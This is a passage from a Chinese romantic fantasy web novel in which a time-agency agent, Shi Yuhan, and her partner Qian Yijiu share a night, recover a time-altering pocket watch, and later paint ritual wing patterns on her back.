女孩儿牵着他,松松的,轻轻的,他只需要一用力就能甩开她,就像拂开一片羽毛那样轻易。
千亦久没动,蓦地,他想起了什么,用另一只手打开了她的终端。
荒唐的任务要求在停在屏幕上,千亦久闭了闭眼,冰蓝色的流光再次从他指尖溢出,轻而易举就渗透进了每个程序,每个角落。
失败。
失败。
失败。
警告:权限锁定,无法解除。
无法解绑任务序列,无法更改指定对象,他占了个她搭档的席位,以至于,这些任务的落实目标全部锁定在他的身上。
关于荒唐的字句,选择只有两个:放弃,或完成。
千亦久睁开眼,眼帘垂着,看上去并没有打算躺下来同她枕在一处的打算,也是,这明明不是他的任务,她跟他也没有什么关系,况且,他也并不喜欢这个女孩儿。
终端在他掌心微微亮着光,千亦久又拨了几拨,想试试能不能向她的上级申请取消任务行动,调出系统页面才想起,她与时管局的联系,早被他亲手掐断了。
“……”
一阵烦躁涌上心头,千亦久眸光一暗,心里又将这笔账记在了时管局头上,马修和时序委那帮家伙招都是什么笨蛋,连个故障都修不好。
当然,马修局长要是听见他的话,肯定会被气得跳脚,那局长先生矮矮胖胖的身体跳起来,像个弹不起来的皮球。
你来修!有本事你来修啊!局长先生定会如是说。
哦,可千亦久就是有那个本事。
若是他在场,整个时管局的核心他都有随意更改的本事,更别提一个小小的绑定任务,但很可惜,谁叫他人不在时管局。
终端行动无法取消,千亦久的指尖一划,意外的,打开了系统后台时予欢的个人档案。
他的眸光再次微怔。
他本无意窥探她的生活,但是,目光落在上面,也就自然而然的继续看了下去。
姓名,住址,家庭,以及毕业院校。
一目十行扫过去,他目光在“父母离异”四个字上停了停,又轻移开。
她毕业于守望时序第一军事学院,情报科,是今年综合成绩第一的首席优等生。
怪不得敢来一个人抓凶手。
又扫了一眼她在局里的个人业绩,垫底,行动不佳,表现平平。
怪不得,她那么想要任务的积分。
千亦久指尖再次一划,关上终端,转眸一看,女孩儿依旧没醒,也依旧牵着他的手。
千亦久没有经历过跟人类牵手,这种感知实在是新奇,比约会更暧昧,比亲吻更坦荡,两个个体的温度在肌肤间缠绕,依偎温暖。
她是个奇怪的人类,也是个特别的人类。
最特别的那个。
她哪儿都好,很好的那种好。
迟迟的,千亦久终于做了个选择。
可以,他可以帮她完成这个任务,况且这个任务也并不难完成。
但是得带她回去,她不能睡在这儿,有雪,有风,起码得回温暖的床上去睡。
千亦久俯身,伸手揽过她的脖颈和膝窝,这个过程有点儿麻烦,毕竟她还牵着他的一只手,他攥了攥,十指回叩,让她牵得更牢。
然后,他轻轻松松打横一抱,就这样将人抱在怀里,沿着来时路往回走。
一路上,他的行为简直吸引了不少目光。
十里长街巷的人们目瞪口呆地看见,身长玉立,令人畏惧的蓝衣公子穿街而过,他的怀中,丁香一样浅紫的衣裙飘飘荡荡,她是他怀里的一小片云霞,摇曳着,栖息着。
大家不约而同地想起了此前,在王城中一直流传的八卦谣言,说小公主活腻了不怕死,相亲宴那天,朝着这尊煞神就扑了上去。谁都以为她死定了,可没成想,扑倒煞神这桩从没人做到过,也没胆子干的事儿,小公主居然干了,还破天荒的干成功了没死。
绝,太绝了。
月亮更沉了沉,回了房,千亦久将人往床上一搁才发觉……一切哪儿有那么简单,最大的麻烦从现在才真正开始。
因为,女孩儿不松手。
他想回自己的房间,她不松手。
他想退一步,想在她的床边再搬来一个小榻,她也不松手。
他能跟她保持的最大距离,也不过是两个人手臂的长度,而他也不可能再像之前那样,再坐在她身边一晚上。
千亦久有点儿无奈,他想了想,又用没被牵着的那只手去取床头的灵火珠,试图用一颗珠子去交换他指尖的自由。
“……”
回答他的,只有女孩儿浅浅的呼吸声。
千亦久认栽了,彻彻底底的,在她身上认栽了。
他抱着她在庭院转来转去,先是抱着她到后院,先将她放在一旁,再单手去收拾出门前没看完的书;随后又抱着她进屋,单手去燃一盆温暖的炭火。
燃了炭火,屋里暖了,他最后才抱着人往床上走。
一撩帷幔,一上榻,进度条立刻就开始涨,涨的毫不迟疑,丝毫不拖泥带水。
“……”
千亦久揉着眉心,难得的,有点儿头疼。
女孩儿被他小心翼翼地放在身边,他本想着就这样将就着过一夜,也行。
可时予欢不是个令人省心的女孩。
她睡觉时必然是不肯乖乖平躺的,一定是围着她认准的温暖源去睡的,以前一个人睡时,就将自己蜷成一团睡,后来有了灵火珠,就抱着珠子睡。
今夜,很不巧,她的旁边,有个人。
她在梦中一侧身,人转过来,她另一只不负责牵人的手下意识就要去抱最令她感到安心的那个存在。
千亦久还没躺好,措不及防被这么一扑,拦都来不及拦,腰身就被搂住了。
“……”他活了二十三年,没经历过跟人类牵手,更别提被人类抱着。可巧呢,一个晚上,全栽了。
拥抱是件太难的事了,千亦久破天荒的,不知道该拿她怎么办,她凭什么睡得这么自然,睡得这么安稳,凭什么,她能这样不设防。
她会这样对他,也就会这样对陆青玄,不,或许不一样,或许在陆青玄面前,她会更自然从容。
她总是这样,平等地对世界上所有的笨蛋都抱有最大的耐心,可在面对他时,反而,她做不到寻常。
千亦久沉沉叹了一口气,他的掌心覆上她环在他腰间的手,轻轻拢住,试着,想把人从怀中剥离出去。
刚刚扣住她的指缝,随后,他听见极近
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的地方,传来“滴答”一声轻响。
是时间的声音。
千亦久怔了怔。
只见他怀中的女孩儿衣襟微松,也是,被他抱来抱去,她的衣衫早就松松垮垮了。而在她层层松垮的衣襟中,有一块怀表从中露出来。
千亦久看着那块怀表,一愣,他松开覆在她手背上的那只手,转而去摘从她衣襟里掉出来的这块怀表。
那是一块旧怀表,做工精细,在夜色中泛着冰冷的金属光泽,千亦久掀开表盖,走针滴滴答答,一丝不苟地流淌出最精准的时间。
是时管局的东西,此前一直被她当项链戴在贴身里衣里,也从没露出来过,今夜她被他抱着转了那么久,衣衫摩挲,怀表链子上的搭扣开了,这才在她翻身中掉出来。
得给她戴回去。
千亦久觉得自己更头疼了。
他轻轻叹了一气,俯身,近乎是将人圈进怀里那样,挨近了她,挨到她的耳畔,拂开她乌黑柔软的头发,露出光滑的脖颈。
千亦久单手拾起怀表的链子——是的,他的另一只手仍被牵着呢。单手给一个侧身沉睡的女孩戴项链,这难度着实有点儿大。
他的呼吸就落在她耳畔,指尖的温度擦过她的锁骨,先是挨着左侧肌骨环过去,将一边的链子带到她的颈后。
金属链子是冷的,他的指尖是热的,冷暖交织间,时予欢在梦中哆嗦了一下。
冷得一栗,她偎他就偎得更近。
千亦久喉结微动,闷哼一声。
“你别……”别乱摸啊。
他很想这样说。
他感到自己的腰间,女孩儿的手就在那儿小心翼翼贴着,她整个人都蜷在他身下,栖着,像是一只栖在树下的小鹿。
千亦久的额间,渗了一层细密的薄汗。
定了定神,他拾起链子的另一端,从她右侧的肌骨再次环过去,绕到她的颈后,同时,他也去摸索着她颈后左侧的那条链子。
怀中的女孩儿又拱了拱。
千亦久再次闷哼一声,指尖一滑,差点儿没拿稳链子。
他想说,等会儿再抱好不好?怎么抱都行。
现在,能不能暂时放过我?
我看不见。
确实,时予欢的头发很多很柔软,完完全全遮挡了他的视线,他是单手在给她盲扣项链。
他的指尖从她的发间穿行而过,在她的后颈摸索着,指尖出了层薄汗,让金属搭扣反复错开又滑落,怎样都没办法精准的扣到位。
她被他弄得不太舒服,也就隐隐地想不断翻身,一会想翻过去,一会又想翻过来,可她同时还攥着他的另一只手,牵着他,让他好几次差点儿真栽压在她身上。
“咔哒。”
一声轻微的,却清晰的金属咬合声终于响起,怀表重新妥帖地戴回了时予欢的颈间上,链扣重新藏回发丝之下。
千亦久几乎是立刻向后撤开了些许距离,沉沉地,长长地呼出一口气,终于,他也得以从她身上离开。
他躺在她身侧,抬眼,望向窗外晦暗的天色。
窗外沉沉霭霭,一尘不变。
距离天亮,还有那么漫长的黑夜,还有那么漫长的时间。
身侧是女孩清浅的呼吸,指尖是她传来的温度,细听,还有钟表流淌的滴答声。
他只能等着她醒来,就像人类等一次花开。
15. 很好的朋友
这天夜里,时予欢梦见了小时候离家出走时,等过车的那班巴士站台。
天很冷,风很大,她孤零零坐在站台座椅上,想等一辆能带她离开故乡的巴士。
巴士到站,却不准她上车,时予欢只能沿着车道追,直到巴士快得追不上了,直到她摔了一跤,擦破了膝盖,才不得不停下脚步,望着抛弃她的列车徐徐远去,消失在她的视线里。
天光茫茫灰白一场,风大,她被冻的手脚僵硬,咬着牙忍了一会疼,就在她想硬撑着站起来时,一只手伸在她面前。
时予欢抬头看他。
眉目如墨,朦胧天光擦亮他的眼眸,他不爱笑,也不爱说话,但却好看的,仿佛艺术家一笔一笔精雕细琢的油画。
太过精致了,以至于……有种非人感的美丽。
这个人牵着她往回走,走了一会,她走不动了,这个人就俯身,揽膝抱起她往回走。
她的手被冻得冰凉,这个人又捂上她的指尖,用他的体温来暖她的手。
他是谁?自己认识吗?时予欢心里认真琢磨了一会,不是父母,父母还在吵架,也不是同学,同学在毕业后,就跟她淡了联系。
想了好一会,直到风声远了,她的手也暖和了,她才在心里琢磨出了一个很理所当然的答案。
朋友。
对,或许,他是她认识的朋友。
这两个字悄悄浮在心头,时予欢顿时觉得恍然大悟,是的,一定是她的朋友。
其实时予欢从小到大,都没有那种真正意义上的朋友,受从小跟着母亲不断搬家的影响,她几乎很少能交很要好的朋友,同学也好,玩伴也好,每次遇见一个人,都只能遇见那么一小会会,还来不及相处太久,就得告别了。
眼前这个人,或许,是个很好的朋友。
因为,也只有朋友才会在你遇到困难时,无条件站在你这一边。
在想清楚这个念头后,时予欢忍不住抬手,去抱了抱她梦见的这个人,想抱他抱得更牢,也很想告诉他,遇见他,她很高兴。
她清楚的知道自己还在做梦,却也觉得,这场梦,是个美梦,老天到底待她不薄,肯在梦里给她一个朋友。
“喂。”她挪了挪身子,换了个舒服点儿的姿势靠在他怀里,问他,“你叫什么名字?”
她隐约记得,他应该是有个名字的,但好可惜,做梦的时候意识昏昏沉沉,她想了很久,也没想起他叫什么。这太不应该了,时予欢在心里严肃地批评自己,交朋友的第一步么,就是得将对方的名字好好记下来呀。
但可惜想不起来,所以决定直接问。
抱着她的人沉默了一会,答道:“千亦久。”
哦,千亦久。
时予欢莫名觉得这三个字挺耳熟,但一时想不起在哪里听过,算了,只当作相逢即是有缘,今后一定会好好记着,不会忘,哪怕在梦里也不会再忘。
她扬了扬下巴,抬头看了他一会:“千亦久,你为什么靠我靠得这么近呀。”
她只觉得自己离他好近好近啊,近到他的呼吸仿佛就落在她耳边,近到她能感受到他指尖在她落在她肌肤上的温度。
这个问题似乎有点儿难,这次千亦久沉默了好一会,才说:“为了给你戴一条链子。”
链子?什么链子?时予欢一时不能理解,她什么有什么挂坠么?
千亦久低了低眸,朝着她的颈部扫了一眼,顺着他的视线望去,时予欢低头一看,确实,她脖子上挂着一条链子长长的金属怀表,其实怀表本来不该这么戴的,按照正确的戴法,是该别在衣襟上的,但她戴它的时候哪儿管那么多规矩,只觉得当个项链戴更方便。
“哦,你说这个啊。”时予欢举起怀表看了一眼,“是我出任务前,从时管局薅的东西。”
千亦久皱了皱眉,问:“薅的?”
时予欢点点头:“对,我是为了找一个人,才来的书中世界,但我又怕我要找的那个人太厉害,太危险,我怕我打不过对方该怎么办,所以在穿梭时空的前一刻,我顺手薅走了镶嵌在时管局镇局之宝——那个大钟表上的一块小怀表。”
千亦久:“……”
时予欢觉得自己很神奇,明明在做梦,关于朋友的名字没什么印象,关于目击罪犯那天晚上的事儿,倒是记得一清二楚。
关于这块怀表,时予欢当然不是白薅的。
它不仅仅可以用来看时间,更重要的是,它可以无视一切规则,无条件更改一次时空。
它是一块……能更改时间的怀表。
这是当然的吧!时空管理局之所以叫“时空”管理局,观测研究着时间的流逝与变化,那么时管局里的镇局之宝能扭转时空也很合理对吧?
时予欢觉得,她虽然是个认真负责的探员,但到底还没有负责到要为了一次任务,赔上自己性命的地步,万一她不是那个神秘罪犯的对手,那么有了这块能扭转时空的表,兴许,她能为自己争取一次保命的机会。
只可惜,这块怀表能使用的次数也只有一次。
时予欢举起挂在脖子上的这块表,凝神看了一会。
滴答滴答。
她看见,时间在一丝不苟的行走。
“……”
沉云露出两三点月色,清幽缱绻的厢房中,千亦久完全没想到,事情到最后怎么会变成现在这样。
他现在靠坐在床头,眼睁睁看着……时予欢压在他身上睡着了。
本以为替她戴好怀表是今夜最难的一件事,谁知,他刚在她身侧躺了没多久,时予欢就不老实地开始乱滚了。
她向左翻个身,又向右翻个身,千亦久略感震惊地瞧着她在翻身快把自己翻掉下床了。
就在时予欢又翻了个身,险些要掉下床时,千亦久眼疾手快伸手一捞,将她从床的边缘捞回中间,捞回自己怀里。
时予欢很能顺杆儿爬,再次一滚,直接滚在了他身上,哪怕千亦久撑着手坐起身想逃,也没逃掉。
她抱着他的腰,下巴就搁在他的锁骨处,像抱着个大玩偶似的,呼呼大睡。
千亦久僵了许久,他以为她冷了,想给她身上搭一条毯子,可她不要,反而嘀嘀咕咕的开始说着什么“你叫什么名字?”之类的话。
于是千亦久以为她醒了,试着同她搭了几句话,最后才发现,她是在说梦话。
在试着猜测了好几次她无厘头的行动缘故和需求后,千亦久终于认识到了一件,他以前从来没有想过,但却深深颠覆他对人类认知的事。
这个女孩
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睡觉就是不老实!
这个女孩睡觉就是要抱个人!你能怎么办!
千亦久揉了揉自己的太阳穴,一时间头疼不已,无可奈何。
女孩很柔软,比羽毛还要柔软,他从来没有接触过这么柔软的存在,似乎只要他动作大一点儿,过分一点儿,就会惊破她的梦。
最后,千亦久低着眸,看着枕在自己怀里的女孩,敛住了眸光里的暗涌,沉沉地,又叹了一口气。
他另一只手在床头摸索了一会,摸到放在那儿的终端,单手划开,在看到任务进度条一点点拉满,任务圆满结束后,他再次指尖轻轻一划,在终端中抹去了该任务的历史记录。
这样,她就不会知道,这个晚上,曾有一场不留丝毫空隙的,旖旎暧昧的接触,发生在一帘窄窄的床第之间。
将终端放回去的时候,女孩儿似乎察觉了他的动作,怕她逃怕他走,抱着他腰的手又紧了紧,想挨他挨得更牢。
千亦久一怔,他的手落回来,抬手揽上她的腰,将人往自己的怀里带了带,让她完完全全笼在自己气息里。
女孩儿的呆毛像一片羽毛一样在他脸颊扫来扫去,他的下额贴着她的发旋儿,有点儿痒,让他忍不住低笑了一声。
似乎被他的笑惹得一愣,呆毛僵住了,不敢再拂他的脸了。
千亦久眼帘垂落,他压着嗓音,忽然轻轻说了一句话。
“别怕。”
他另一只手反扣住她的指尖,骨节分明的手指压着她的指缝一寸一寸侵占过去,一合拢,十指相扣。
“别害怕。”
他低着声音再次说了一遍,是一句安抚。
千亦久想,女孩大概是在做梦,也听不见他的话。
她梦见了什么,他不知道。
但他想,那或许,是个有关孤独的梦。
所以,别怕,别害怕。
他抬眼看了看窗外,晦暗如渊的深夜尽头,远方的天边,终于有了要破晓的天光。
……
时予欢是被一缕从窗棂中渗进来的暖阳轻轻唤醒的。
外面天气晴朗,阳光灿烂,她睁开眼,宽大的床塌上只有她一个人,凌乱的被褥,凌乱的衣衫,她下意识摸了摸自己颈部,怀表还好端端的挂在胸前。
真是谢天谢地,时予欢估摸着,昨晚自己大概是在一线星那儿睡过去了,也估摸着,是千亦久把她送回来的。
昨夜的记忆尚有几分混乱,她揉了揉惺忪的睡眼,听见有脚步声传来,一抬头,只见千亦久懒懒地打着哈欠从屋外走进来。
他看上去,一夜没睡的倦怠模样。
看见他来了,时予欢眉眼一弯,很有朝气地打了个招呼。
“早上好。”她说。
千亦久瞥了她一眼,仿佛终于放下什么心事似的又打了个哈欠,转身就想走。
时予欢立刻掀开被子,匆匆穿好鞋,急急忙忙就追上去。
“喂,你说,我们今天早饭吃什么呀?”
“不吃,我补觉。”
“嗯?你这人怎么这样?不要这么懒惰好不好?年轻人要振作一点!”
……
滴滴答答滴滴答答,时间悄悄翻过一页。
早上好,又是美好的一天。
16. 花纹
关于昨夜的事儿,时予欢只能记得个囫囵。
她下意识想拿起终端去查看昨夜的行为记录——为了防止违规行为,时管局对时空穿越者的一举一动都有着严格的监控。
调出系统页面才想起,哦,她跟总部的联系,早被千亦久亲手掐断了。
那没事了,时予欢想了又想,想了又想,郑重地总结出三个字:管他呢。
她还有正事要办。
匆匆吃了早饭,时予欢拎着一壶好茶,包了一手帕的瓜子,兴冲冲地直奔陆青玄的仙府上,美名其曰是来探望伤员。
进了仙府,踏入后园,她就看见陆青玄正在……正在钓鱼。
一潭石泉,一凉亭,一把竹质躺椅搁在泉边,风流俊雅的连山少君翩然如仙坐在躺椅上,手持钓竿,是说不出的世外出尘气,也是好一出独钓寒江雪的诗意美景。
前提是,必须忽略他那条被雪白纱布层层包裹,严实得像根白胖萝卜,此刻正被小心翼翼搁在矮凳上,无法动弹的右腿。
他腿上还有点点法术流转,看样子正在慢慢治愈。
时予欢觉得,他很坚强。
伤成这样还能挣扎着爬起来钓鱼,她觉得陆青玄这个人要不就是有观天地之悠悠的豁达气魄,要不就是……他纯粹爱吃鱼。
在她敬佩陆青玄的同时,陆青玄也听到了脚步声,笑眯眯地抬眼望来,当看到石潭对面那抹俏生生的浅紫罗裙身影时,他的笑容抽搐了一下。
“你你你……”他举起闲着的那只手,做了个“停”的手势,“你不要过来啊。”
时予欢也一愣:“啊?”又不是她让他摔成这样的,不让她靠近是个什么道理呢?
陆青玄很惆怅:“我原以为么,你既然穿到这个世界,还偏巧穿成我未过门的妻子,先抛开感情不谈,咱们俩总是有点缘分的。”
时予欢深表赞同:“是这样,俗话说千里一线牵,珍惜这段缘么。”
陆青玄笑容僵硬:“可经过昨晚的事儿,我发现,咱们这个缘,大抵是个孽缘。”
时予欢眨巴眨巴眼。
陆青玄郑重道:“你克我。”
时予欢:“嗯?”
陆青玄又补了一句:“或者我克你。”想了想,还是纠正了措辞:“但介于出事的人是我,我觉得还是你克我的可能性比较大。”
听了这话的时予欢不但不恼,反倒眉眼一弯,自顾自拎着裙摆小跑过来,在他躺椅旁的石凳上落座,将手帕在光洁的石桌面上铺开,香喷喷的瓜子往陆青玄那边推了推。
“吃么?”她笑。
“谢谢。”陆青玄伸手薅瓜子。
“不客气。”时予欢乐了,“不怕我克你么?”
陆青玄从善如流:“我觉得克不克的另说,有大师跟我算过,说我命还是挺硬的。”
时予欢直奔主题:“我有事向你打听,是关于三白乌的。”
陆青玄手一抖:“三白乌?我还以为你跟我打听九公子呢。”
“你说千亦久?”时予欢皱了皱眉,不太理解,“关他什么事?”
陆青玄磕了瓜子,又端起一杯茶抿了一口,似无意状地往她周围看了一圈,问道:“哦原来他本名叫千亦久,他人呢?”
时予欢说:“补觉。”想了想,又说:“他昨夜好像挺累的?今早陪我吃了早点就回去休息了。”
陆青玄霎时一口茶喷出来:“你……原来你精力和体力都比他好啊。”
时予欢偏头一避,躲开他的茶。
“失敬,对不起,失敬。”陆青玄假装无事发生的搁下茶杯,拿手帕拭了拭水渍,“以前是我小瞧你了。”
时予欢:“?”
陆青玄咳嗽两声:“我一直以为他是枭雄你是美人,你们俩唱得是一出霸王强娶美人的传统戏码,原来……原来你才是硬上弓的那个霸王么。”
他淡淡道:“是我眼拙了。”
时予欢也喝了口茶:“?”他到底在说什么?
“不过仔细想想,也不能怪我眼拙,今早我偷听下属们八卦,说昨夜是千亦久亲自把你抱回去的,嗨,主要满大街的人都看见了,所以我才误以为他是主动的那个……”陆青玄一脸“我懂了,我都懂了”的神情。
时予欢也一口茶喷出来。
“你说什么?谁?谁把我抱回去的?”
“你家那位。”陆青玄淡定的用帕子抹去喷在他脸上的茶,“是这样,所以我也没想到原来体力好的那个人是你,需要补觉的是他。”
时予欢已经听不清陆青玄后半句说的话了,她人傻了,满脑子都是原来她是被抱回去的被抱回去的被抱回去的……难怪她莫名其妙一觉醒来是躺在床上的而不是躺在花丛里的。
但还好,想来千亦久将她送回来大抵也只是个尽个搭档责任,而她呢,也是个正人君子,这事儿怎么想都该是清清白白的,而且今早千亦久看上去也很正常,没对昨晚提起只字片语。
她问心无愧!她没做错!不就是被人抱回来而已么不要那么一惊一乍!
时予欢心里告诫自己,要淡定,要从容,谁尴尬谁问心有愧好吧。
陆青玄似乎啰啰嗦嗦又说了好一通话,待回过神,时予欢才听清他在问她。
陆青玄问:“说起来,你要跟我谈起的正事是什么?”
时予欢哦了一声,这才想起今日来找他的目的:“有关三白乌。哦主要祭祀这种事儿呢我不太了解,最近专门寻巫祝请教了一下,得知祭祀时需要在背上绘上特定的羽毛纹样。”
陆青玄点头:“没错,毕竟是祭祀三白乌,按规矩,需要事前在背上绘一对白羽双翼的绘身。”
时予欢又说:“问题就在这里,我不知道该画成什么样,我没见过三白乌的翅膀。”
陆青玄睁大了双眼:“你就为了这事儿专程来找我?”
时予欢不明白他在震惊什么:“对啊,不然我该找谁呢?”
陆青玄一拍桌子:“找你家里那位啊!”拍桌子时扯着了伤腿,他疼得哎呦了几声。
“首先他不是我家里那位,其次……”时予欢一时间不知道从哪儿纠正他的话,舌头打结了半天,扶额叹气,“算了你说重点吧。”
陆青玄笑眯眯:“他是三白乌死后取而代之出现的,之所以说他‘取而代之’,是因为他的背上也有一双白色羽翼,和三白乌的一模一样。”
时予欢想起此前在卖旧书杂画的小摊上看到的“九公子”绘像:有着一对白羽的蓝衣少年悬立于尸山血海之中,美丽又诡谲。
陆青玄道:“其实民间一直有传言,三白乌没死,这位九公子其实就是三白乌的人形化身,但他实在干了太多恶事了,所以谁也不愿意相信,他是三白乌。”
默了默,又说:“三白乌是创世神鸟,它的羽翼也是天地万物生灵里,最美丽的羽翼。你让他给你画,保准儿没错。”
时予欢张了张嘴,很想解释说千亦久又不是真的
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九公子,他跟我一样只是领了个身份进来的啊。
在陆青玄这里求助无果,时予欢只得打道回府。
……
千亦久补了一觉再醒来的时候,思绪还有点儿慵懒的迟缓。
他踱至后院,想吹吹风醒神,目光随意一掠——
然后,他以为自己没睡醒。
只见后院那棵最高,枝桠最虬结的古冬青树上,那抹熟悉的浅紫色身影,正以一种笨拙又异常执着的姿态,手脚并用地向上攀爬。
这还不算。
爬到树冠处的时予欢,竟毫不犹豫地张开双臂,眼睛一闭,纵身就往下一跃!
千亦久:“……”
在她跳下去的那一刻,他下意识抬手,一道白色流光应念而出,于半空中瞬间化作一片巨大轻柔的羽毛,稳稳托住下坠的身影,安然送她回地面。
时予欢本来都做好摔一跤的打算了,在被意外接住后,她讶然转头,看见站在廊下的千亦久,立刻扬起一个明媚又带着点儿不好意思的笑容:“啊,多谢搭救!”
千亦久缓步走近,难得流露出明显的困惑:“你……?”体验自由落体?
时予欢从草地上爬起来,拍了拍裙摆上沾的草屑,仰头望了望高高的树冠,叹了口气,语气有些苦恼:“我在寻找飞翔的感觉。”
千亦久:“……”沉默地看着她,等她下文。
时予欢心里默默叹气——她最近在练习祭祀的傩舞,傩舞讲究一个“神鸟降临世间”的那种神圣感。
她琢磨来琢磨去都没明白那种:从天上飞到人间是一种怎样的感觉。
没法理解飞翔的感觉,只能靠从树上跳下来勉强模拟一下。
“不过你来的正好。”她转身朝厢房跑去,不一会儿又抱着满怀东西跑回来——正是昨夜采购的鲜艳矿物颜料,几支细笔,还有一张小心卷起的纹样拓纸。
她抱着这些东西在千亦久面前站定,仰起脸,眸光清澈透亮。
“能不能麻烦你在我身上画一幅祭祀绘身?……我自己够不着后背。”
说着,她下意识抬手,轻轻扯松了一点自己的衣襟领口,露出一小段白皙光滑的锁骨和肩颈。
“我想要一双白色的翅膀,陆青玄不肯帮忙,我只得去问巫祝去要花纹图样,图样我都拓印下来了,照着画就好。”
千亦久怔住了,没有立刻伸手去接绘具,也没有回答。
他只是怔了很久。
他听见她说,想看见一双白色的翅膀。
时予欢歪了歪头:“你怎么啦?为什么不说话呢?”
千亦久正想说没事,他想告诉她——如果要画白羽花纹,你就得把你的衣服,在我面前都脱下来,这样,才能在你的背上作画。
时予欢皱了皱眉,似乎有点担心:“是不是还困?要不然还是去休息?”
她想起昨晚是千亦久把她从一线星的山崖上抱回来的,难道就因为抱了她一截路,他就累得睡眠不足?
不对,她有那么重吗?她不信。
但出于对朋友的关怀,时予欢还是说:“你体力是不是还没我好?”
顿了顿,她硬着头皮又说了一句:“说真的,我很怕你因为我……体力不支来着。”
千亦久:“?”
他握着刚刚下意识接过的笔杆,指节微微收紧,眸光倏地一转,清晰地掠过一丝难以置信的情绪。
谁体力不好?
她在说谁?
17. 颜色
千亦久低下头靠近她,耀眼的阳光就落在他漂亮的眼眸里,折射出危险的光芒。
“风大了些,我没听清,你刚刚说了什么?”
时予欢立刻将手中笔墨纸砚一股脑全塞给他,发自肺腑地改口:“你听岔了,我说多谢你。”
千亦久眉梢轻挑:“不客气。”
“那你稍等我一下,我去洗个澡。”时予欢拍了拍刚才从树上滚落时发梢和衣袖沾上的草屑灰尘,转身便轻快地朝着后院温泉小跑而去。
小半刻钟后,时予欢披着衣衫回到画室。
阳光洒了满室,屋子里氤氲着墨锭和矿物颜料特有的香气,画案列着几砚颜料,素白、窃蓝、松花,再带一点儿淡淡的胭脂。
千亦久正随意地靠立在画案前,闻声抬眸,看了她一眼。
丁香一样的女孩站在门口,浅紫纱衣披在身上,软软的随风轻扬,在阳光中镀着一层金黄,一头乌黑的长发却潮湿半干,松松地搭在身前,微风一吹,鬓边的发丝就恰好拂在她扬起的笑靥上,比画儿还好看。
“坐过来。”他眸光几不可察地敛了敛,声音平静。
时予欢踌躇了一下,抿了抿唇,还是依言走到窗边那张铺着软垫的矮凳上坐下,背对着千亦久,也背对着满室阳光。
千亦久逆光而立,身影在她身前投下一片修长的阴影。
待她坐定,他抬手,指尖触及她肩上披着的纱衣,不疾不徐,如同揭开一层画布那样,将那层柔软的紫色轻纱从她肩头褪下。
纱衣滑落,她身上便只剩一件贴身槿紫宋抹和同色宋裤,白皙光洁的背脊肌骨露在微凉的空气与他的视线中,仅靠颈后和腰间几根系带维系。
屋子里生着火,很暖和,但衣衫褪去的瞬间,时予欢还是下意识轻轻打了个颤,是紧张。
千亦久垂眸,目光落在她柔软流畅的肩胛线条上,声音比平日里,更低沉平缓了一些:“放松。”
时予欢低着头,含混地“嗯”了一声,手指无意识地缠扰着自己一缕半干的发尾。
她原以为自己会不自在,就像温泉边那次,虽说那次是她占了一回他的便宜,但脸红的是她,落荒而逃的也是她。
但此时此刻,她什么不自在感都没有。
请他帮忙绘制祭祀纹身这件事,发生得比想象中更坦荡自然,和上次占他便宜相比,缺了一丝旖旎暧昧,多了三分胭脂彩墨香。
安静地坐了一会,却迟迟没有感受到笔墨落下的触感。时予欢忍不住微微偏头,用眼角余光往后一瞥——只见千亦久一手握笔,另一只手仍捏着那张拓印的图腾绘样,目光在纹样和她的背指尖来回移动,似乎还在研究端详。
时予欢很是怀疑地眨眨眼:“你会画画吗?”
“不会。”千亦久面不改色,答得干脆利落,“这是第一次。”
时予欢呆了,她在呆愣中好想说“你不会你为什么还看上去那么气定神闲胸有成竹啊!”,她也没想到自己买了颜料,拓印了图文,准备工作做得漂漂亮亮,千算万算却忽略了,千亦久其实压根不会绘画。
虽然在她看来,照着图腾描画线条这确实不是一件有什么太大难度的事儿,若是她的手能够得着后背,那她就自己上了。
“你你你……”时予欢支吾了一阵,哭丧着脸挣扎开口,“你……不会给我的背上画只王八吧。”
千亦久研究纹样的目光一顿,抬眸看了她一眼,竟颇为耐心的,用一种学术口吻反问:“为什么是王八?作为初学者,我以为你会关心我能不能把图腾绘制正确。”
时予欢咳嗽了一声,试图挽回正经:“哦,那是我误会你了,你其实是在想着怎么绘制好图腾么?”
千亦久沉默片刻,坦然道:“不,我在想要画个什么品种的王八。”
“喂!”时予欢眼瞧着要炸毛,身体一探,几乎要跳起来,肩头却立刻传来一股不容抗拒的力道——是千亦久伸手按住了她的肩,将她这只瞬间炸毛的“猫”稳稳摁回原位。
“嘘。”他掌心的温度就轻落在她身上,声音平淡,却带着一丝近乎安抚的意味,“转回去。”
时予欢气鼓鼓地僵着不动。
千亦久淡淡开口:“你不转,就要在我面前走光了。”
时予欢脸一热,这才后知后觉地意识到自己转身的动作有多危险,赶紧飞速转了回去,耳根通红。
“别乱动了。”他的指尖,在她肩胛骨中间的位置轻轻点了一下。
这次,凉丝丝的笔尖终于落在了她的肌肤上。
笔锋柔软,蘸取的颜色微凉,划过肌肤的触感有些奇异,兴许是因为初次执笔,又或许图腾本身太过复杂,千亦久的每一笔都落得很慢,很轻,带着一种与他平日懒散截然不同的专注。
在这场带着金黄暖意的午后,时予欢忍不住首先打破了无声的寂静。
“你说……三白乌的翅膀,到底长样子呢?”
千亦久没有回答她:“……”
时予欢又说:“我听陆青玄说,九公子……哦就是你穿书进来后顶替的这位,他背生双翼,和三白乌一模一样,所以我猜啊,九公子可能就是三白乌本身的化身。”
笔尖行至腰间,被衣带拦住,千亦久左手的指尖随意一挑,那原本松挽的系带便倏然散开,他顺势用指节勾住一端,不令其彻底滑落,另一只手的笔锋却已毫无滞碍地继续向下,如行云流水,在柔韧的腰间轻轻一弯。
他从始至终都没有接她的话。
时予欢继续道:“你刚刚研究了那么久的祭祀图腾,有没有看明白,图腾上画的翅膀是什么样的?哪些符文线条太抽象了,我实在看不懂。”
祭祀用的绘身纹样往往高度符号化,并非写实工笔,几笔线条几笔符文,高饱和度的色彩,构成最古老的象征。
千亦久的嗓音从身后传来,伴随着笔尖行走的细微触感:“是一对白色的羽翼。”
素白在她的肌骨上缓缓铺开,像一场雪。
“每一片羽毛的末端,”他一边描绘,一边平静叙述,“都会流淌出金色与蓝色的微光,拖曳着长长的,朦胧的光影。”
窃蓝和松黄随之点缀,在素白的肌肤上落下渲染。
时予欢想象着这对白色羽翼原本该有的样子:“听上去很漂亮,它很宽大吗?”
千亦久敛眸,声音微沉:“是,是一对很宽大很长的羽翼,雨天时,能像伞一样遮在头上。”
时予欢在脑海中勾勒着那景象,她想,那大概确实是很巨硕的翅膀了。
千亦久语气平淡,含着笃定:“它也很有力,能飞很高。”
“很
